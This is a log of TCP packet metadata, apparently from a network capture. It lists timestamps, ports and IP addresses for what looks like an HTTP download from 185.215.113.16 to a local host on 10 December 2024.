Dec 10, 2024 02:50:31.278121948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.278199911 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.278244019 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.279227972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.279344082 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.279375076 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.280356884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.280492067 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.280534983 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.281522989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.281635046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.281682014 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.282653093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.282702923 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.282737970 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.283724070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.283834934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.283870935 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.284867048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.284946918 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.284986019 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.285954952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.286088943 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.286137104 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.287166119 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.287297964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.287333965 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.288228989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.288330078 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.288368940 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.289376974 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.289483070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.289520025 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.290484905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.290601969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.290651083 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.291604996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.291692019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.291728973 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.292737007 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.292834044 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.292876959 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.293854952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.293984890 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.294023991 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.295011997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.295142889 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.295176983 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.296093941 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.296197891 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.296241045 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.297280073 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.297310114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.297346115 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.298346043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.298468113 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.298510075 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.299487114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.299622059 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.299671888 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.300628901 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.300719023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.300757885 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.301733971 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.301830053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.301868916 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.302864075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.302970886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.303009033 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.303986073 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.304095984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.304127932 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.305124998 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.305186033 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.305223942 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.306209087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.306420088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.306459904 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.307374954 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.307456970 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.307496071 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.308459997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.308584929 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.308631897 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.309587955 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.309699059 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.309737921 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.310713053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.310823917 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.310866117 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.311764956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.354026079 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.444988966 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.445094109 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.445153952 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.445498943 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.445614100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.445655107 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.446634054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.446784019 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.446818113 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.447732925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.447856903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.447915077 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.448873043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.448986053 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.449028015 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.450007915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.450143099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.450228930 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.451128960 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.451214075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.451258898 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.452245951 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.452369928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.452409029 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.453449965 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.453588009 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.453634024 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.454524994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.454628944 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.454670906 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.455718040 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.455741882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.455787897 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.456763029 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.456862926 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.456904888 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.457865953 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.457993984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.458033085 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.459027052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.459124088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.459170103 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.460115910 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.460261106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.460304976 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.461236000 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.461388111 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.461440086 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.462373018 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.462472916 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.462516069 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.463510036 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.463617086 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.463665962 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.464639902 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.464762926 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.464809895 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.465775967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.465852022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.465898991 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.466900110 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.467000008 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.467050076 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.467992067 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.468090057 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.468135118 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.469156027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.469238043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.469293118 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.470273972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.470357895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.470402002 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.471357107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.471465111 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.471507072 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.472481012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.472606897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.472651958 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.473670006 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.473764896 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.473809004 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.474729061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.474906921 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.474951982 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.475898981 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.476001978 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.476047039 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.476983070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.477087021 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.477134943 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.478127956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.478240967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.478287935 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.479238987 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.479360104 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.479399920 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.480403900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.480552912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.480612993 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.481498003 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.481591940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.481637001 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.482604027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.482753038 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.482795954 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.483730078 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.483855009 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.483892918 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.484864950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.485025883 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.485068083 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.486049891 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.486104965 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.486144066 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.487078905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.487204075 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.487245083 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.488235950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.488342047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.488399029 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.489366055 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.489527941 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.489573956 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.490488052 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.490607023 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.490649939 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.491620064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.491724014 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.491763115 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.492727041 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.492837906 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.492889881 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.493860960 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.493971109 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.494018078 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.494987011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.495105028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.495145082 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.496135950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.496237993 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.496283054 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.497219086 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.497333050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.497378111 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.498368025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.498476028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.498521090 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.499541998 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.499591112 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.499638081 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.500607014 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.500729084 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.500766039 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.501797915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.501868963 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.501914024 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.502873898 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.502990961 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.503037930 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.503925085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.557137966 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.637418985 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.637619972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.637672901 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.638070107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.638164997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.638207912 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.638995886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.639142990 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.639189959 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.640072107 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.640177011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.640228033 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.641262054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.641339064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.641375065 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.642311096 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.642405033 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.642452002 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.643498898 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.643601894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.643656015 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.644537926 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.644665956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.644709110 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.645746946 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.645925045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.645967960 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.646833897 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.646944046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.646980047 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.647963047 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.648094893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.648135900 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.649077892 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.649158955 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.649207115 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.650209904 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.650321960 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.650371075 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.651307106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.651401043 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.651443958 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.652421951 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.652530909 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.652571917 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.653749943 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.653888941 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.653928041 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.654694080 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.654838085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.654880047 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.655778885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.655930996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.655973911 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.656917095 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.657048941 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.657089949 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.658050060 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.658163071 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.658200979 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.659159899 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.659354925 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.659400940 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.660326004 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.660435915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.660485029 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.661413908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.661525011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.661570072 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.662512064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.662619114 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.662658930 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.663645983 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.663767099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.663861990 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.664773941 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.664866924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.664911985 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.665870905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.666001081 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.666048050 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.667043924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.667102098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.667337894 CET	49752	80	192.168.2.6	185.215.113.16
Dec 10, 2024 02:50:31.668148994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.668284893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 10, 2024 02:50:31.668338060 CET	49752	80	192.168.2.6	185.215.113.16
